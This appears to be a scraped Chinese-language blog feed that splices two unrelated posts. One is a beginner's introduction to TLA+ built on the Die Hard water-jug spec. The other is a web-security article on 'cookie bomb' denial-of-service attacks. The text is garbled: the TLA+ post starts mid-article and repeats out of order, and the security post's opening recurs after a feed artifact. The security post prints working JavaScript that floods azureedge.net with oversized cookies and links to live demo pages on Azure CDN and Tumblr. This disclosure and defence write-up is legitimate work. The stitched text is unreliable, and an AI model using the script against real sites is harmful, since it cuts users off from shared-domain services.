我想背後的原因是,透過 TLA+ 你可以學習如何更好的將系統抽象化,而抽象化思考對於寫程式與設計系統來說,是非常重要的一個能力。
使用 TLA+ 最著名的例子是 Aamazon Web Services,他們用 TLA+ 設計與驗證了十幾套系統,並寫了一篇論文 - How Amazon Web Services Uses Formal Methods 分享他們如何利用 TLA+ 來對系統進行設計驗證。在每一個採用 TLA+ 的系統上,都有顯著的效果,而且不論老鳥新手,都能在幾週內上手 TLA+,是很值得投資的技術。
一個 TLA+ 主要包含三個要素:Abstraction、State machine 與 Mathematic。
如同前面所說,抽象化思考對於寫程式與設計系統來說,是非常重要的一個能力,而學習 TLA+ 最困難的地方就在於學習如何對系統進行抽象化思考。
透過抽象化思考系統,能讓你不被實作細節干擾,專注在優化整體架構,可以改善的程式碼速度與大小都不是實作上程式碼優化能匹配的。Leslie Lamport 的課程中以運行在 Rosetta spacecraft) 的程式為例,透過 TLA+ 的幫助,他們減少了 10倍的程式碼。
對於 TLA+ 來說,系統的執行可以抽象化成一個離散步驟序列(A sequence of discrete steps)。
舉例來說,一個時鐘(系統)的運行,是透過一連串(sequence)的時分針移動(discrete steps)而完成的。
這樣的抽象化可以套用在各種系統上,甚至是並行運算的程式,也能用模擬的方式來表達出 A sequence of discrete steps。
一個系統的運作可以用很多種不同方式來描述,程式語言本身就是一個描述方式,但說到底,不管是哪種方式都可以抽象成 State Machine。
上面說到的 A sequence of discrete steps,就是透過每一個 step 來改變系統的 state(狀態),進而完成一系列的系統動作。
一個 State Machine 可以簡化成兩個主要元素:Init 與 Next,分別代表初始狀態,以及可能的下一個狀態。
而這些 State(狀態)的變化與交互,TLA+ 都能夠將其再近一步抽象簡化為數學表達式來呈現,透過數學表示式,能夠更精準且簡潔的表達這些抽象邏輯。
說了這麼多,相信還是在霧裏看花看不清楚,來個最簡單的例子解釋 TLA+ 到底能做些什麼事情吧。
這裡我舉一個我覺得最好懂的例子,叫做 Die Hard,沒錯,就是布魯斯威利主演的電影。在電影裡面,他需要用一個 3 加侖的瓶子與 5 加侖的瓶子裝出 4 加侖的水(這個題目似乎蠻常出現在一些腦經急轉彎的題目中,我甚至在某個面試中被問到過...)
那這個跟 TLA+ 有什麼關係呢?為什麼可以拿來當作範例?
首先,我們假設 用一個 3 加侖的瓶子與 5 加侖的瓶子裝出 4 加侖的水 就是我們系統的規格,那在我們真的實際去寫演算法找答案的之前,我們要怎麼知道這個規格是正確的,是真的有辦法用一個 3 加侖的瓶子與 5 加侖的瓶子裝出 4 加侖的水?
TLA+ 可以幫忙。
完整的 die hard TLA+ 程式碼可以從這裡觀看,我只簡單講解一下主要的邏輯,語法就不著墨了,畢竟我也沒有真的學會。
首先,我們先定義系統的 variables(變數),也就是一個大瓶子與一個小瓶子:
VARIABLES big, \* The number of gallons of water in the 5 gallon jug.
small \* The number of gallons of water in the 3 gallon jug.
接著定義好一個 invariant,也就是一些限制;在這個規格中,我們的限制是大瓶子最多只能裝 5 加侖,而小瓶子最多只能裝 3 加侖:
TypeOK == /\ small \in 0..3
/\ big \in 0..5
然後定義系統的 State machine,描述初始狀態與可能的 Next state:
Init == /\ big = 0
/\ small = 0
大小瓶子初始狀態都為空。
Next == \/ FillSmallJug
\/ FillBigJug
\/ EmptySmallJug
\/ EmptyBigJug
\/ SmallToBig
\/ BigToSmall
可能的下個狀態會是透過各種不同的 action(steps) 所產生的,這邊我們有 FillSmallJug
(裝滿小瓶子)、SmallToBig
(將小瓶子的水倒入大瓶子)、BigToSmall
(將大瓶子的水倒入小瓶子)等等。
而實際的 action(steps) 也需要清楚定義其如何造成系統內的 variables(變數)的變化:
FillSmallJug == /\ small' = 3
/\ big' = big
填滿小瓶子的動作,會讓 small 變數更動為 3,而 big 變數保持不變。
SmallToBig == /\ big' = Min(big + small, 5)
/\ small' = small - (big' - big)
小瓶子倒入大瓶子,則要考慮大小瓶子內目前的水容量,已決定最終可以倒入的水量。
當我們描述完整個系統的狀態與狀態轉移動作後,可以訂一個 SPEC,來告訴 TLA+ 這個系統的運行規格是什麼,以這邊為例,我們要做的就是能在保持限制(small <=3, big <=5)的狀況下,能從 Init 狀態,不斷透過 Next 來轉移狀態:
Spec == Init /\ [][Next]_<<big, small>>
透過運行 TLA+ 的 model check,TLA+ 會將這個 spec 所能產生的各種分支狀況都跑過一遍,若運行過程都沒有出現 Error,也就是不管我們的狀態被多少次不同的 Next 改變,都不會違反我們的限制,那我們就能確保此規格是正確的。
疑?你說到目前為止我們還是沒有確保整個規格可以裝出 4 加侖的水呀?
很簡單,我們只要加入一個而外的限制(invariant)即可:
NotSolved == big # 4
這行代表 big 不會等於 4,所以若是出現 big 等於 4 的狀況,TLA+ 的 model checker 就會噴出 Error,並把他是怎麼從 Init 狀態透過哪些 steps 到達這個狀態列出來給你。
所以說,如果 TLA+ model checker 跑下去,都沒有噴出 Error,那就代表這規格有問題,我們不可能用 3 加侖的瓶子與 5 加侖的瓶子裝出 4 加侖的水,但若是有可能,就會在 big 為 4 時噴出 Error。
最後用個簡單的小影片給大家看看實際運行 TLA+ 是什麼感覺,這邊我用的是 VSCode + TLA+ VSCode extension,對於熟悉 VSCode 的我來說,還是比官方的 TLA+ Tookbox 直覺一些。
若是懶得看影片,最後的結果截圖如下:
可以看他會列出所有造成該 Invariant 出現 error 的過程,也就能知道這個規格是正確的,我們的確能夠用一個 3 加侖的瓶子與 5 加侖的瓶子裝出 4 加侖的水。
最後的最後,還記得上面說過,TLA+ 會將其 Spec 抽象成數學表示式嗎?整個 diehard 的 TLA+ spec 可以透過 TLA+ 轉成如下的 pdf,用數學表示式呈現(不虧是 LaTeX 的作者):
今天的文章只是非常粗淺的介紹了 TLA+ 是什麼,以及它最簡單的範例,前面也有說到,它實際上是設計來針對並行運算與分散式系統的規格架構設計做驗證,這種系統的複雜程度可想而知,絕對不是一個 DieHard 範例就能呈現其強大之處,但是希望透過這篇文章,能夠帶給大家一些不同的刺激與想像;或許你跟我一樣,在此之前都不曾聽過 TLA+,也不曾想過可以針對規格去做驗證,那這篇文章應該對你還是有所幫助,若是你早已有所聞,甚至有在使用,也歡迎留言分享讓我跟其他人知道,一起教學相長!
在年初我分享過團隊在嘗試的 self-improvement 計畫,過了半年,還是持續運作中,而且也不斷有收穫,在最近一次的分享會上,後端團隊的同事提到了在設計系統上遇到的一個問題,他們想知道有沒有辦法能驗證自己設計的系統規格沒有邏輯上的錯誤;當下我最直覺的想法是:應該只能把程式照著規格寫出來後,用大量的測試去驗證吧?這也是為什麼越有經驗的人,設計出來的系統通常比較穩定,因為能想到比較多的可能性與細節。
然而事實證明我還是太菜了。
同事介紹了 TLA+ 這個 formal specification language,透過它就能讓你在撰寫實際程式碼前,先行一步針對你的規格設計從高於程式碼的抽象層進行驗證。
這對我來說有點顛覆想像,因此今天就跟大家一起來認識一下 TLA+!
(話先說在前頭,這篇會是一個淺白的介紹文,不會涉及到太多程式語法與細節,主要目的在分享這個工具給大家認識。)
介紹 TLA+ 前,必須先認識其作者 - Leslie Lamport,他除了創作出 TLA+ 語言外,也是發明麵包演算法與 LaTeX 的人(讀過資工研究所的人對這兩個應該都不陌生吧!),此外更在 2013 年拿到 Turing Award,是個不僅僅在理論上有所突破,在實務上也貢獻良多的大神。
現年已八十歲的他,除了出書以外,在幾年前更錄製了免費的線上課程來教導大家如何使用 TLA+,在 Youtube 與他自己的網站上都找得到。今天這篇文章也是我看了其中兩部影片後總結的一些筆記,從影片與文章中,可以看出他特有的幽默感,很有趣 😂,像是突然扮個小丑:
TLA+ 是一門針對 digital system 進行 high-level modeling 的語言,擁有檢查模型的工具、IDE;digital system 包含演算法、程式碼、電腦系統;high-level 指的是在設計階段,在實際程式之上,是針對系統規格的驗證與說明。
使用 TLA+ 是指撰寫一個 TLA+ spec,並用 TLA+ Model Checker 來執行驗證,先給大家看長相,最後會有完整的範例:
雖說是一個語言,但是 TLA+ 並不能產生可實際運行的程式碼。TLA+ 主要讓你能針對系統中 critical 的部分更好得進行建模,將非重要部份與實作細節抽離,在並行運算(concurrent)與分散式系統(distributed system)中尤其有用,能幫助你從設計上抓出透過測試難以發現的錯誤與 bug。
對許多工程師來說,可能直覺會認為這東西效益不大,平常寫程式說不定連測試都沒時間寫,額外寫 TLA+ spec 去單純驗證系統設計,真的值得嗎?
這是合理的質疑,但這個方法也是經過許多人實際應用後背書的,許多人學習並使用後,都認為 TLA+ 提供他們一個新的思考方式,即便在實戰上並沒有真的使用到 TLA+,也讓他們成為了更好的工程師。
我想背後的原因是,透過 TLA+ 你可以學習如何更好的將系統抽象化,而抽象化思考對於寫程式與設計系統來說,是非常重要的一個能力。
使用 TLA+ 最著名的例子是 Aamazon Web Services,他們用 TLA+ 設計與驗證了十幾套系統,並寫了一篇論文 - How Amazon Web Services Uses Formal Methods 分享他們如何利用 TLA+ 來對系統進行設計驗證。在每一個採用 TLA+ 的系統上,都有顯著的效果,而且不論老鳥新手,都能在幾週內上手 TLA+,是很值得投資的技術。
一個 TLA+ 主要包含三個要素:Abstraction、State machine 與 Mathematic。
如同前面所說,抽象化思考對於寫程式與設計系統來說,是非常重要的一個能力,而學習 TLA+ 最困難的地方就在於學習如何對系統進行抽象化思考。
透過抽象化思考系統,能讓你不被實作細節干擾,專注在優化整體架構,可以改善的程式碼速度與大小都不是實作上程式碼優化能匹配的。Leslie Lamport 的課程中以運行在 Rosetta spacecraft) 的程式為例,透過 TLA+ 的幫助,他們減少了 10倍的程式碼。
對於 TLA+ 來說,系統的執行可以抽象化成一個離散步驟序列(A sequence of discrete steps)。
舉例來說,一個時鐘(系統)的運行,是透過一連串(sequence)的時分針移動(discrete steps)而完成的。
這樣的抽象化可以套用在各種系統上,甚至是並行運算的程式,也能用模擬的方式來表達出 A sequence of discrete steps。
一個系統的運作可以用很多種不同方式來描述,程式語言本身就是一個描述方式,但說到底,不管是哪種方式都可以抽象成 State Machine。
上面說到的 A sequence of discrete steps,就是透過每一個 step 來改變系統的 state(狀態),進而完成一系列的系統動作。
一個 State Machine 可以簡化成兩個主要元素:Init 與 Next,分別代表初始狀態,以及可能的下一個狀態。
而這些 State(狀態)的變化與交互,TLA+ 都能夠將其再近一步抽象簡化為數學表達式來呈現,透過數學表示式,能夠更精準且簡潔的表達這些抽象邏輯。
說了這麼多,相信還是在霧裏看花看不清楚,來個最簡單的例子解釋 TLA+ 到底能做些什麼事情吧。
這裡我舉一個我覺得最好懂的例子,叫做 Die Hard,沒錯,就是布魯斯威利主演的電影。在電影裡面,他需要用一個 3 加侖的瓶子與 5 加侖的瓶子裝出 4 加侖的水(這個題目似乎蠻常出現在一些腦經急轉彎的題目中,我甚至在某個面試中被問到過...)
那這個跟 TLA+ 有什麼關係呢?為什麼可以拿來當作範例?
首先,我們假設 用一個 3 加侖的瓶子與 5 加侖的瓶子裝出 4 加侖的水 就是我們系統的規格,那在我們真的實際去寫演算法找答案的之前,我們要怎麼知道這個規格是正確的,是真的有辦法用一個 3 加侖的瓶子與 5 加侖的瓶子裝出 4 加侖的水?
TLA+ 可以幫忙。
完整的 die hard TLA+ 程式碼可以從這裡觀看,我只簡單講解一下主要的邏輯,語法就不著墨了,畢竟我也沒有真的學會。
首先,我們先定義系統的 variables(變數),也就是一個大瓶子與一個小瓶子:
VARIABLES big, \* The number of gallons of water in the 5 gallon jug.
small \* The number of gallons of water in the 3 gallon jug.
接著定義好一個 invariant,也就是一些限制;在這個規格中,我們的限制是大瓶子最多只能裝 5 加侖,而小瓶子最多只能裝 3 加侖:
TypeOK == /\ small \in 0..3
/\ big \in 0..5
然後定義系統的 State machine,描述初始狀態與可能的 Next state:
Init == /\ big = 0
/\ small = 0
大小瓶子初始狀態都為空。
Next == \/ FillSmallJug
\/ FillBigJug
\/ EmptySmallJug
\/ EmptyBigJug
\/ SmallToBig
\/ BigToSmall
可能的下個狀態會是透過各種不同的 action(steps) 所產生的,這邊我們有 FillSmallJug
(裝滿小瓶子)、SmallToBig
(將小瓶子的水倒入大瓶子)、BigToSmall
(將大瓶子的水倒入小瓶子)等等。
而實際的 action(steps) 也需要清楚定義其如何造成系統內的 variables(變數)的變化:
FillSmallJug == /\ small' = 3
/\ big' = big
填滿小瓶子的動作,會讓 small 變數更動為 3,而 big 變數保持不變。
SmallToBig == /\ big' = Min(big + small, 5)
/\ small' = small - (big' - big)
小瓶子倒入大瓶子,則要考慮大小瓶子內目前的水容量,已決定最終可以倒入的水量。
當我們描述完整個系統的狀態與狀態轉移動作後,可以訂一個 SPEC,來告訴 TLA+ 這個系統的運行規格是什麼,以這邊為例,我們要做的就是能在保持限制(small <=3, big <=5)的狀況下,能從 Init 狀態,不斷透過 Next 來轉移狀態:
Spec == Init /\ [][Next]_<<big, small>>
透過運行 TLA+ 的 model check,TLA+ 會將這個 spec 所能產生的各種分支狀況都跑過一遍,若運行過程都沒有出現 Error,也就是不管我們的狀態被多少次不同的 Next 改變,都不會違反我們的限制,那我們就能確保此規格是正確的。
疑?你說到目前為止我們還是沒有確保整個規格可以裝出 4 加侖的水呀?
很簡單,我們只要加入一個而外的限制(invariant)即可:
NotSolved == big # 4
這行代表 big 不會等於 4,所以若是出現 big 等於 4 的狀況,TLA+ 的 model checker 就會噴出 Error,並把他是怎麼從 Init 狀態透過哪些 steps 到達這個狀態列出來給你。
所以說,如果 TLA+ model checker 跑下去,都沒有噴出 Error,那就代表這規格有問題,我們不可能用 3 加侖的瓶子與 5 加侖的瓶子裝出 4 加侖的水,但若是有可能,就會在 big 為 4 時噴出 Error。
最後用個簡單的小影片給大家看看實際運行 TLA+ 是什麼感覺,這邊我用的是 VSCode + TLA+ VSCode extension,對於熟悉 VSCode 的我來說,還是比官方的 TLA+ Tookbox 直覺一些。
若是懶得看影片,最後的結果截圖如下:
可以看他會列出所有造成該 Invariant 出現 error 的過程,也就能知道這個規格是正確的,我們的確能夠用一個 3 加侖的瓶子與 5 加侖的瓶子裝出 4 加侖的水。
最後的最後,還記得上面說過,TLA+ 會將其 Spec 抽象成數學表示式嗎?整個 diehard 的 TLA+ spec 可以透過 TLA+ 轉成如下的 pdf,用數學表示式呈現(不虧是 LaTeX 的作者):
今天的文章只是非常粗淺的介紹了 TLA+ 是什麼,以及它最簡單的範例,前面也有說到,它實際上是設計來針對並行運算與分散式系統的規格架構設計做驗證,這種系統的複雜程度可想而知,絕對不是一個 DieHard 範例就能呈現其強大之處,但是希望透過這篇文章,能夠帶給大家一些不同的刺激與想像;或許你跟我一樣,在此之前都不曾聽過 TLA+,也不曾想過可以針對規格去做驗證,那這篇文章應該對你還是有所幫助,若是你早已有所聞,甚至有在使用,也歡迎留言分享讓我跟其他人知道,一起教學相長!
在網站相關的攻擊手法上,大家比較常看見的應該是 XSS、SQL injection 或是 CSRF 這些方法,而今天要介紹的是另外一種大家可能聽過但沒有這麼熟悉的:DoS,Denial-of-Service 攻擊。
講到 DoS,多數人可能都會想到是不是要送很多封包給網站,然後讓網站伺服器來不及回應或是資源耗盡才能達成目標。或也可能想到的是 DDoS(Distributed Denial-of-Service),不是一台主機而是一堆主機同時送封包給某個伺服器,然後把它打掛。
DoS 與 DDoS 其實有分不同層的攻擊,這些層對應到大家以前可能學過的 OSI Model,例如說大家記憶中的攻擊比較像是 L3 網路層與 L4 傳輸層的攻擊,詳細的攻擊手法可以參考:什麼是 DDoS 攻擊? 以及 How do layer 3 DDoS attacks work? | L3 DDoS。
但這篇想跟大家分享的攻擊手法,是存在於 L7 應用層的 DoS 攻擊。
例如說某個網站有個 API 可以查詢資料,然後有設一個預設的 limit 是 100,結果我把它改成 10000 之後發現 server 大概要一分多鐘才能給我 response,於是我就每兩秒送一個 request,送著送著就發現網站越變越慢,最後整個掛掉只能回 500 Internal Server Error,這就是應用層的 DoS 攻擊。
只要能找到一個方法讓使用者無法存取網站,就是一種 DoS 的攻擊。而我們找出的方法是建立於 L7 應用層,所以是 L7 的 DoS 攻擊。
在眾多 L7 DoS 攻擊手法中有一種我覺得特別有趣,那就是 Cookie Bomb,直翻就叫做 Cookie 炸彈。
如果對 cookie 毫無概念的話,可以參考這篇:白話 Session 與 Cookie:從經營雜貨店開始。
簡單來說呢,一些網站可能會把某些資料存在瀏覽器裡面,而這些資料就稱之為 cookie。當瀏覽器對網站發送 request 的時候,會自動把之前儲存的 cookie 一併帶上去。
最常見的應用之一就是廣告追蹤,例如說我造訪 A 網站,然後 A 網站裡面有 GA(Google Analytics)的 script,因此 GA 寫了一個 id=abc 的 cookie。當使用者造訪 B 網站而且 B 網站也有裝 GA,此時瀏覽器送 request 給 GA 的時候,就會把這個 id=abc 帶上去,那 server 收到以後就會知道「又是這個人,他造訪了 A 網站跟 B 網站」,隨著使用者造訪的網站變多,就會更清楚知道他的喜好。
(附註:實際上的追蹤應該會更複雜,而且最近又有第三方 cookie 的問題,所以實作可能會不太一樣,這邊只是簡單舉例)
在寫入 cookie 的時候,有一個 domain 的選項可以設置,你只能往上寫不能往下寫。什麼意思呢,假設你在 abc.com
,你就只能寫 cookie 到 abc.com
。但如果你在 a.b.abc.com
,你可以寫入 a.b.abc.com
,也可以寫入 b.abc.com
,就連 abc.com
也可以。
所以你在 subdomain a.b.abc.com
對 root domain abc.com
寫入 cookie 之後,瀏覽器送去 abc.com
的 request 就會帶上你寫入的 cookie。
假設我的攻擊目標是 example.com
,那我只要找到任何 subdomain 或是網站中的某個頁面可以讓我寫 cookie 的話,我就可以自由自在地寫入我想要的 cookie。
舉例來說,假設有個頁面https://example.com/log?uid=abc
,造訪這個頁面之後,就會把 uid=abc
這一段寫到 cookie,那我只要把網址改成 ?uid=xxxxxxxxxx
,就可以把 xxxxxxxxxx
寫到 cookie 裡。
再舉個例子,假設有個部落格網站,每一個使用者都有一個獨特的 subdomain,例如說我的話就是 huliblog.example.com
,然後部落格可以客製化自己想要的 JS,那我就可以利用 JS 在 huliblog.example.com
對 examepl.com
寫入我想要的 cookie。
好了,那可以寫入任意 cookie 之後能幹嘛呢?
開始寫一堆垃圾 cookie 進去。
例如說 a1=o....*4000
之類的,就是寫一堆無意義的內容進去就好,這邊要特別注意的是一個 cookie 能寫的大小大概是 4kb,而我們最少需要兩個 cookie,也就是要能寫入 8kb 的資料,才能達成攻擊。
當你寫了這些 cookie 進去之後,回到主頁 https://example.com
時,根據 cookie 的特性,就會一起把這些垃圾 cookie 帶上去給 server 對吧?接下來就是見證奇蹟的時刻。
Server 並沒有顯示你平常會看到的頁面,而是回給你一個錯誤:431 Request Header Fields Too Large
。
在眾多 HTTP status code 裡面,有兩個 code 都跟 request 太大有關:
假設有個表單,你填了一百萬個字送到 server 去,就很可能會收到一個 413 Payload Too Large
的回應,就如同錯誤訊息所說的,payload 太大了,伺服器無法處理。
而 header 也是一樣的,當你的 cookie 太多時,requset header 中的 Cookie
會很大,大到伺服器無法處理,就會回一個 431 Request Header Fields Too Large
(不過根據實測,有些 server 可能會根據實作不同回覆不同的 code,像微軟就是回 400 bad request)。
因此我們只要能把使用者的 cookie 塞爆,就能讓他看到這個錯誤畫面,沒有辦法正常存取服務,這就是 cookie bomb,藉由一大堆 cookie 所引發的 DoS 攻擊。而背後的原理就是「瀏覽器造訪網頁時,會自動把相對應的 cookie 一起帶上去」。
Cookie bomb 這名詞最早的起源應該是 2014 年 1 月 18 日由 Egor Homakov 所發表的 Cookie Bomb or let's break the Internet.,但類似的攻擊手法在 2009 年就有出現過:How to use Google Analytics to DoS a client from some website
如同上面那段所說,假設我們現在發現一個網址 https://example.com/log?uid=abc
可以讓我們設置任意 cookie,接下來要做的事情就是:
https://example.com
,發現看不到內容,只能看到一片白或是錯誤訊息,攻擊成功這時候除非使用者換個瀏覽器或是 cookie 過期,又或者是自己去把 cookie 清掉,否則一直都會是這個狀態。
綜合以上所述,這個攻擊只能攻擊特定使用者,而且必須滿足兩個前提:
有關於實際的攻擊案例,可以參考:
再繼續針對攻擊面往下講以前,先來提一下防禦方式。
第一點就是不要相信使用者的輸入,例如說上面提到的那個例子:https://example.com/log?uid=abc
,不該把 abc
直接寫進 cookie 裡面,而是應該做個基本檢查,例如說格式或是長度之類的,就可以避免掉這類型的攻擊。
再來的話,當我提到可以從 subdomain 往 root domain 設 cookie 時,許多人應該都會想到一件事:「那共用的 subdomain 怎麼辦?」
例如說 GitHub Pages 這功能,每個人的 domain 都是 username.github.io ,那我不就可以用 cookie 炸彈,炸到所有的 GitHub Pages 嗎?只要在我自己的 subdomain 建一個惡意的 HTML,裡面有著設定 cookie 的 JS code,再來只要把這個頁面傳給任何人,他點擊之後就沒辦法訪問任何 *.github.io
的資源,因為都會被 server 拒絕。
這個假說看似是成立的,但其實有個前提要先成立,那就是:「使用者可以在 *.github.io
對 github.io
設置 cookie」。如果這個前提不成立,那 cookie bomb 就無法執行了。
事實上,像是這種「不想要共同的上層 domain 可以被設置 cookie」的需求其實不少,例如說 a.com.tw
如果可以設置 cookie 到 .com.tw
或是 .tw
的話,是不是一大堆不相關的網站都會共享到 cookie 了?這樣顯然是不合理的。
又或者是總統府的網站 https://www.president.gov.tw
,應該不會想被財政部的網站 https://www.mof.gov.tw
所影響,因此 .gov.tw
應該也要是一個不給設定 cookie 的 domain。
當瀏覽器在決定能不能對某個 domain 設置 cookie 時,會參照一個清單叫做 public suffix list,出現在上面的 domain,其 subdomain 都沒辦法直接設定該 domain 的 cookie。
例如說以下 domain 都在這份清單上:
所以前面舉的例子不成立了,因為我在 userA.github.io
的時候,沒辦法設置 github.io
的 cookie,所以無法執行 cookie bomb 攻擊。
關於 public suffix list,Heroku 有一篇文特別在介紹它的一些歷史沿革:Cookies and the Public Suffix List。
上面有講到兩個攻擊成立的前提:
如果想讓攻擊變得更容易成立,就可以針對這兩個前提去想說:
先針對第二點來講,如果可以利用快取污染(Cache poisoning)的話,就可以輕易達成。先簡單講一下什麼是 cache poisoning,簡單來說就是想辦法讓 cache server 存的 cache 是壞掉的那一份(例如說 431 status code 的那一份),這樣不只你,而是所有其他使用者都會因為 cache 的關係,拿到壞掉的檔案,看到同樣的錯誤訊息。
這樣的話,目標不需要點擊任何東西就會中招,而且攻擊對象就從一個人擴大成所有人。
其實第二點有個專有名詞:CPDoS(Cache Poisoned Denial of Service),而且因為是利用 cache 的關係,所以也沒有必要設置 cookie 了,用其他的 header 也行,不需要侷限在 cookie bomb。
更詳細的相關攻擊手法可以參考:https://cpdos.org/
而第一點「有沒有可能這個地方很好找?」就是我真正想提的。
在針對這點繼續往下之前,其實 cookie bomb 還有更多的攻擊面擴展,可以搭配其他的攻擊手法一起使用,相關的說明以及實際案例很推薦大家去看這個影片:HITCON CMT 2019 - The cookie monster in your browsers,裡面除了 cookie bomb 以外,也提到了其他 cookie 相關的特性。
這場演講裡面利用 cookie bomb 造成的 DoS 搭配其他手法的攻擊方式,真的很漂亮。
有什麼地方可以讓我們輕易設置 cookie,達成 cookie bomb 呢?有,那就是像之前所提過的共用的 subdomain,像是 *.github.io
這一種。
可是這種的不是都在 public suffix list 裡面了嗎?沒有辦法設置 cookie。
只要找到沒有在裡面的就好啦!
不過這其實也不是件容易的事情,因為你會發現你知道的服務幾乎都已經註冊了,例如說 GitHub、AmazonS3、Heroku 以及 Netlify 等等,都已經在上面了。
不過我有找到一個沒在上面的,那就是微軟提供的 Azure CDN:azureedge.net
不知道為什麼,但這個 domain 並不屬於 public suffix,所以如果我自己去建一個 CDN,就可以執行 cookie bomb。
我用來 demo 的程式碼如下,參考並改寫自這裡:
const domain = 'azureedge.net'
const cookieCount = 40
const cookieLength = 3000
const expireAfterMinute = 5
setCookieBomb()
function setCookie(key, value) {
const expires = new Date(+new Date() + expireAfterMinute * 60 * 1000);
document.cookie = key + '=' + value + '; path=/; domain=' + domain + '; Secure; SameSite=None; expires=' + expires.toUTCString()
}
function setCookieBomb() {
const value = 'Boring' + '_'.repeat(cookieLength)
for (let i=0; i<cookieCount; i++) {
setCookie('key' + i, value);
}
}
接著在 Azure 上面上傳檔案然後設置一下 CDN,就可以得到一個自訂的網址:https://hulitest2.azureedge.net/cookie.html (我的 azure 過期了,所以現在點進去應該會壞掉)
點了之後就會在 azureedge.net
上面設置一堆垃圾 cookie:
重新整理後,會發現網站真的不能存取了:
這就代表 cookie bomb 成功了。
所以只要是放在 azureedge.net 的資源,都會受到影響。
其實 AzureCDN 有自訂網域的功能,所以如果是自訂網域的話就不會受到影響。但有些網站並沒有使用自訂網域,而是直接使用了 azureedge.net 當作 URL。
大多數情況下,azureedge.net 都是拿來 host 一些資源,例如說 JS 以及 CSS 或者是圖片,我們可以隨便找一個把資源放在 azureedge.net 的網站來試試看攻擊是否有效。
一開始進去一切都很好,沒什麼問題,但是先造訪過 cookie bomb 那個網址後重新整理,發現整個網頁都跑板了,就是因為 cookie bomb 造成那些資源無法載入:
雖然說沒辦法讓整個網頁無法讀取,但大幅度跑版外加功能壞掉,基本上也是沒辦法使用了。
甚至連微軟自己的一些服務也會被這個攻擊影響,因為也把資源放在 azureedge.net 上面:
最好的防禦方式就是改用自訂網域,不要用預設的 azureedge.net,這樣就不會有 cookie bomb 的問題。但撇開自訂網域不談,其實 azureedge.net 應該去註冊 public suffix 才對,不讓使用者在這 domain 上面設置 cookie。
除了這兩種防禦方式之外,還有一種你可能沒想到的。
我們平常在引入資源的時候不是都這樣嗎:<script src="htps://test.azureedge.net/bundle.js"></script>
。
只要加一個屬性 crossorigin
,變成:<script src="htps://test.azureedge.net/bundle.js" crossorigin></script>
,就可以避免掉 cookie bomb 的攻擊。
這是因為原本的方法在發送 request 時會把 cookie 帶上去,但如果加上 crossorigin
改成用 cross origin 的方式去拿,預設就不會帶 cookie,所以就不會有 header too large 的狀況發生。
只是記得在 CDN 那邊也要調整一下,要確認 server 有加上 Access-Control-Allow-Origin
的 header,允許跨來源的資源請求。
以前我很困惑到底什麼情形需要加上 crossorigin
,現在我知道其中一種了,如果你不想把 cookie 一起帶上去的話,就可以加上 crossorigin
。
曾經在特定領域紅過,但被 Automattic 收購後便轉向的 Tumblr 有個特別的功能,那就是你可以在個人頁面自訂 CSS 與 JavaScript,而這個個人頁面的 domain 會是 userA.tumblr.com,而 tumblr.com 並沒有註冊在 public suffix 上,所以一樣會受 cookie bomb 的影響:
造訪這個網址:https://aszx87410.tumblr.com/ 之後重新整理或者是前往 Tumblr 首頁,就會發現無法存取(寫 cookie 的 JS 沒寫好,只在 Chrome 上有用,Firefox 不行):
2021-06-16 我在 HackerOne 上面回報了 Tumblr 的 cookie bomb 問題,隔天就收到回覆,對方回說:
this behavior does not pose a concrete and exploitable risk to the platform in and on itself, as this can be fixed by clearing the cache, and is more of a nuisance than a security vulnerability
對有些公司來說,如果只有 cookie bomb 的話造成的危害太小,而且第一受害者必須點那個網址,第二只要把 cookie 清掉就沒事,所以並不認可這是一個安全性的漏洞。
而微軟那邊則是在 2021-06-10 透過 MSRC 回報,大約兩週後 2021-06-22 收到回覆,對方說已經回報相關的團隊進行處理,但是這個問題並沒有達到 security update 的標準,之後修好也不會有通知。
後來寫信去問那能不能把這個問題當成範例寫在 blog,2021-06-30 收到回覆說 OK。
我以前關注的漏洞大多數都是像 SQL Injection 或是 XSS 那樣子的,能夠偷走使用者的資料,但前陣子突然發現 DoS 這類型的漏洞很多也都很有趣,尤其是應用層的 DoS,比如說這一篇提到的 cookie bomb,或者是利用 RegExp 達成的 ReDoS,還有 GraphQL 的 DoS 等等。
雖然說單純的 cookie bomb 如果沒有結合其他的攻擊手法,影響力十分有限,而且只要清掉 cookie 就沒事了,但我覺得還是一個挺有趣的攻擊,畢竟我本來就對 cookie 相關的東西都很感興趣(可能是因為以前有被殘害過)。
但其實這樣研究下來,除了覺得 cookie bomb 很有趣之外,還有個東西讓我收穫良多,眼界大開,就是前面貼的那個 HITCON CMT 2019 - The cookie monster in your browsers 影片中提到的利用 cookie bomb 結合其他攻擊手法。
在資安的領域中怎麼把不同的,看似很小的一些問題串在一起變成大問題,一直以來都是一門藝術。只有 cookie bomb 可能做不了什麼,但跟其他東西結合之後搞不好可以昇華出一個嚴重的漏洞。目前我個人學藝不精,沒辦法達到那種程度,但我相信有朝一日可以的。
總之呢,這篇文章就是跟大家稍微介紹一下 cookie bomb 的成因以及修復方式,如果你的服務會提供 subdomain 給使用者,記得評估一下是否需要去 public suffix list 上面註冊,避免 subdomain 寫 cookie 到 root domain,進而影響到所有的 subdomain。
]]>在網站相關的攻擊手法上,大家比較常看見的應該是 XSS、SQL injection 或是 CSRF 這些方法,而今天要介紹的是另外一種大家可能聽過但沒有這麼熟悉的:DoS,Denial-of-Service 攻擊。
講到 DoS,多數人可能都會想到是不是要送很多封包給網站,然後讓網站伺服器來不及回應或是資源耗盡才能達成目標。或也可能想到的是 DDoS(Distributed Denial-of-Service),不是一台主機而是一堆主機同時送封包給某個伺服器,然後把它打掛。
DoS 與 DDoS 其實有分不同層的攻擊,這些層對應到大家以前可能學過的 OSI Model,例如說大家記憶中的攻擊比較像是 L3 網路層與 L4 傳輸層的攻擊,詳細的攻擊手法可以參考:什麼是 DDoS 攻擊? 以及 How do layer 3 DDoS attacks work? | L3 DDoS。
但這篇想跟大家分享的攻擊手法,是存在於 L7 應用層的 DoS 攻擊。
例如說某個網站有個 API 可以查詢資料,然後有設一個預設的 limit 是 100,結果我把它改成 10000 之後發現 server 大概要一分多鐘才能給我 response,於是我就每兩秒送一個 request,送著送著就發現網站越變越慢,最後整個掛掉只能回 500 Internal Server Error,這就是應用層的 DoS 攻擊。
只要能找到一個方法讓使用者無法存取網站,就是一種 DoS 的攻擊。而我們找出的方法是建立於 L7 應用層,所以是 L7 的 DoS 攻擊。
在眾多 L7 DoS 攻擊手法中有一種我覺得特別有趣,那就是 Cookie Bomb,直翻就叫做 Cookie 炸彈。
